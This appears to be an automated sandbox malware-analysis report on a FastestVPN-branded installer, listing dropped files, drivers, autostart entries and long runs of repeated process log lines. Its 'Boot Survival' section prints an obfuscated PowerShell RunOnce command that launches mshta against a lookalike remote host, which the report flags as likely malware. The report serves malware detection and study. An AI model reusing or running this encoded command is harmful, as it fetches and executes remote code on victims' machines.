    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-88O7S.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\msvcr100.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\is-56JKD.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\WpfAnimatedGif.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-E39BQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-NJEU5.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\tapinstall.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.OpenVpn.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-QGH94.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\libeay32.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\libcrypto-1_1-x64.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-RCMHQ.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-83481.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-KHD5M.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-IQDKV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\libpkcs11-helper-1.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-GVJD7.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-HF6P6.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-QB0TS.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-UNANK.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-2M5AV.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-4JTDD.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-G4HV7.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\tapinstallWin32.exe (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-28L78.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-10HRM.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\is-VO662.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-3IEGE.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\System.Numerics.Vectors.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\VPN.WireGuard.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\is-TJ0RL.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\System.Runtime.CompilerServices.Unsafe.dll (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\fastestvpndriver.sys (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\Service\is-NHJNP.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Program Files\FastestVPN\FastestVPN.DI.dll (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\tap0901.sys (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SET3E81.tmpJump to dropped file
    Source: C:\Windows\System32\xcopy.exeFile created: C:\Windows\System32\drivers\fastestvpndriver.sysJump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\tap0901.sys (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\SET28C9.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeFile created: C:\Program Files\FastestVPN\Service\InstallUtil.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeFile created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog

    Boot Survival

    barindex
    Creates an autostart registry key pointing to binary in C:\Windows
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNService
    Creates autostart registry keys with suspicious values (likely registry only malware)
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNService pOwErshElL -ENc LgAnAG0AcwBoAHQAYQAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIAMAA2AC4AYwBvAG0ALwBsAGEAdQAvAGMAbwBuAGYAaQBnAGkAbgAuAHAAaABwAA==
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNService pOwErshElL -ENc LgAnAG0AcwBoAHQAYQAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIAMAA2AC4AYwBvAG0ALwBsAGEAdQAvAGMAbwBuAGYAaQBnAGkAbgAuAHAAaABwAA==
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FastestVPN.lnkJump to behavior
    Source: C:\Windows\System32\drvinst.exeRegistry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tap0901Jump to behavior
    Source: C:\Windows\System32\svchost.exeRegistry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\LinkageJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastestVPNJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastestVPN\FastestVPN.lnkJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastestVPN\Uninstall FastestVPN.lnkJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FastestVPN.lnkJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_10013540 OpenSCManagerA,CreateServiceW,CloseServiceHandle,GetLastError,GetLastError,OpenServiceA,QueryServiceStatus,StartServiceA,GetLastError,CloseServiceHandle,GetLastError,CloseServiceHandle,SetLastError,31_2_10013540
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNService
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNService
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNService
    Source: C:\Windows\regedit.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce FastestVPNService
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop fastestvpndriver
    Source: C:\Program Files\FastestVPN\FastestVPN.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
    Source: C:\Windows\System32\svchost.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob
    Source: C:\Users\user\Desktop\mnFHs2DuKg.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\drvinst.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
